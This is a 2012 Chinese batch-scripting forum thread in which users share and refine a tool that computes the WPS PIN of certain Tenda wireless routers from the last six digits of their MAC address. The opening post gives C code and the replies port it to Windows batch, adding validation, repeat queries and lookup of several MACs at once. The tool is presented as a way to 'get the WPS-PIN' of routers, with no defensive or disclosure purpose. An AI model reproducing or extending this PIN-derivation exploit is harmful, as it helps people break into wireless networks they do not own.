标题: [特效代码] 批处理根据无线路由器MAC计算相应PIN码 [打印本页]
作者: xzwcn 时间: 2012-5-9 21:52 标题: 批处理根据无线路由器MAC计算相应PIN码
本帖最后由 pcl_test 于 2016-9-2 20:59 编辑
- //Computes PIN code starts with OUI "C83A35" and "00B00C"
- //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
- //Coded by Zhaochunsheng - iBeini.com
- //Modified by Lingxi - WiFiBETA.COM
-
-
- #include <stdio.h>
- #include <stdlib.h>
-
- int main()
- {
-
- unsigned int wps_pin_checksum(unsigned int pin);
- int PIN = 0;
-
- // printf("ComputePIN-C83A35\n");
- printf("Description:\n");
- printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
- printf("type the other six digits, you might be able to get the \n");
- printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
- printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
- printf("Modified by Lingxi - WiFiBETA.COM\n\n");
- //Translated to Chinese
- printf("说明:\n");
- printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");
- printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");
- printf("祝你好运!\n\n");
- printf("由赵春生编写于2012年4月7日 Http://iBeini.com\n");
- printf("由灵曦修改并汉化 WiFiBETA.COM\n\n");
- printf("请输入后六位MAC地址(HEX):\n");
- printf("Input the last 6 digits of MAC Address(HEX):");
- scanf("%x",&PIN);
- printf("您输入的后六位MAC地址是 %X\n",PIN);
- printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);
- printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
-
- return 0;
- }
-
- unsigned int wps_pin_checksum(unsigned int pin)
- {
- unsigned int accum = 0;
- while (pin)
- {
- accum += 3 * (pin % 10);
- pin /= 10;
- accum += pin % 10;
- pin /= 10;
- }
-
- return (10 - accum % 10) % 10;
- }
复制代码
更新
1.输入超过六位后将提示输入错误,返回重新输入。
2.查完一个之后,可以选择继续输入另一个,或选择退出。
3.可以一次连续输入几个MAC的后六位(用空格或,隔开),然后对应编号输出;
4.在当前文件夹把结果生成名为PIN.TXT的文件;
作者: gawk 时间: 2012-5-9 21:53
直接说你想实现什么功能吧,看代码浪费时间。
作者: bluewing009 时间: 2012-5-9 23:49
回复 2# gawk
经过系列运算后得到值,看最后的子程序……
手机回复,明天再说~
作者: neorobin 时间: 2012-5-10 00:20
本帖最后由 neorobin 于 2012-5-10 00:31 编辑
回复 1# xzwcn - @echo off & setlocal enabledelayedexpansion
-
- echo,请输入后六位 MAC 地址 (HEX^):
- set /p "PIN=Input the last 6 digits of MAC Address(HEX): "
-
- echo,您输入的后六位 MAC 地址是 !PIN!
- echo,Last 6 digits of MAC Address(HEX^) are: !PIN!
-
- set "accum=0"
- set /a "pinO=0x!pin! + 10000000, pin=0x!pin! %% 10000000"
- :wps_pin_checksum
- if !pin! neq 0 (
- set /a "accum += 3 * (pin %% 10), pin /= 10, accum += pin %% 10, pin /= 10"
- goto :wps_pin_checksum
- )
- set /a "wps_pin_checksum=(10 - accum %% 10) %% 10"
- echo,WPS PIN is: !pinO:~-7!!wps_pin_checksum!
- pause
复制代码
作者: xzwcn 时间: 2012-5-10 13:38
回复 4# neorobin
你好!不对。。。。输入不同的MAC,得到的是同样的结果。。。。结果为99999993.
暂达不到上面C的效果。。。
作者: neorobin 时间: 2012-5-10 13:50
回复 5# xzwcn
你给个有问题的示例 MAC, C 和 Bat 各输出什么
作者: xzwcn 时间: 2012-5-10 13:56
本帖最后由 xzwcn 于 2012-5-10 13:59 编辑
回复 6# neorobin
不好意思,。。是对了的。我刚才误把整个MAC当作后六位了,几次MAC的前六位都是相同的,由于只识别了前六位,所以结果相同。。。
能不能增加多一功能:输入超过六位后将提示输入错误,返回重新输入。
另外,可不可以,查完一个之后,可以选择继续输入另一个,或选择退出。
作者: neorobin 时间: 2012-5-10 14:10
回复 7# xzwcn - @echo off & setlocal enabledelayedexpansion
- :input
- echo,请输入后六位 MAC 地址 (HEX^):
- set /p "PIN=Input the last 6 digits of MAC Address(HEX): "
- set "PIN=!PIN: =!"
- if "!PIN:~6!" neq "" (echo,输入超过 6 位) & goto :input
-
- echo,您输入的后六位 MAC 地址是 !PIN!
- echo,Last 6 digits of MAC Address(HEX^) are: !PIN!
-
- set "accum=0"
- set /a "pinO=0x!pin! + 10000000, pin=0x!pin! %% 10000000"
- :wps_pin_checksum
- if !pin! neq 0 (
- set /a "accum += 3 * (pin %% 10), pin /= 10, accum += pin %% 10, pin /= 10"
- goto :wps_pin_checksum
- )
- set /a "wps_pin_checksum=(10 - accum %% 10) %% 10"
- echo,WPS PIN is: !pinO:~-7!!wps_pin_checksum!
-
- set "comd="
- set /p "comd=按 X 键再回车退出, 否则继续查询: "
- if /i "%comd%"=="x" (exit) else goto :input
复制代码
作者: xzwcn 时间: 2012-5-10 15:54
回复 8# neorobin
多谢指导!!能不能真正做成“批处理”呢?即:可以一次连续输入几个MAC的后六位(用空格或,隔开),然后对应输出,最好输出时能编上号。
作者: broly 时间: 2012-5-10 18:22
回复 9# xzwcn
楼主,希望能把全部要求一次性在顶楼写清楚。不然每次都有小修改很麻烦的,别人也不一定有这个耐性帮你,毕竟大家时间都不多。
作者: neorobin 时间: 2012-5-10 22:02
broly 说的确是实情, 谢谢
还好, 我空闲时间稍多, 另外对这个 PIN 的计算有点兴趣, 算法并不复杂, 楼主在论坛里稍许学习, 自己做出来不难.- @echo off & setlocal enabledelayedexpansion
- :input
- set /p "MACS=请输入后六位 MAC 地址(多组用半角空格或半角逗号分隔): "
-
- echo, # MAC WPS_PIN
- set "i=100"
- for %%M in (!MACS!) do (
- set /a "i+=1"
- set "MAC=%%M"
- if "!MAC:~6!" neq "" (echo,第 !i:~-2! 个超过 6 位) & goto :input
- call :WPS_PIN WPS_PIN !MAC!
- echo,!i:~-2! !MAC! !WPS_PIN!
- )
-
- set "comd="
- set /p "comd=按 X 键再回车退出, 否则继续查询: "
- if /i "%comd%"=="x" (exit) else goto :input
- exit
-
- :WPS_PIN WPS_PIN pin pinO acc
- setlocal
- if "%3"=="" set /a "pinO=0x%2 + 10000000, pin=0x%2 %% 10000000"
- if "%3"=="" endlocal & (call :WPS_PIN %1 %pin% %pinO:~-7% 0) & exit /b
-
- if %2 equ 0 set /a "checksum=(10 - %4 %% 10) %% 10"
- if %2 equ 0 endlocal & set "%1=%3%checksum%" & exit /b
-
- set/a"pin=%2,acc=%4,acc+=3*(pin %% 10),pin/=10,acc+=pin %% 10,pin/=10"
- endlocal & (call :WPS_PIN %1 %pin% %3 %acc%) & exit /b
- exit /b
复制代码
作者: xzwcn 时间: 2012-5-12 10:35
回复 11# neorobin
辛苦了!如果再增加“4.在当前文件夹把结果生成名为PIN.TXT的文件;”该如何补充呢?
欢迎光临 批处理之家 (http://bbs.bathome.net/) |
Powered by Discuz! 7.2 |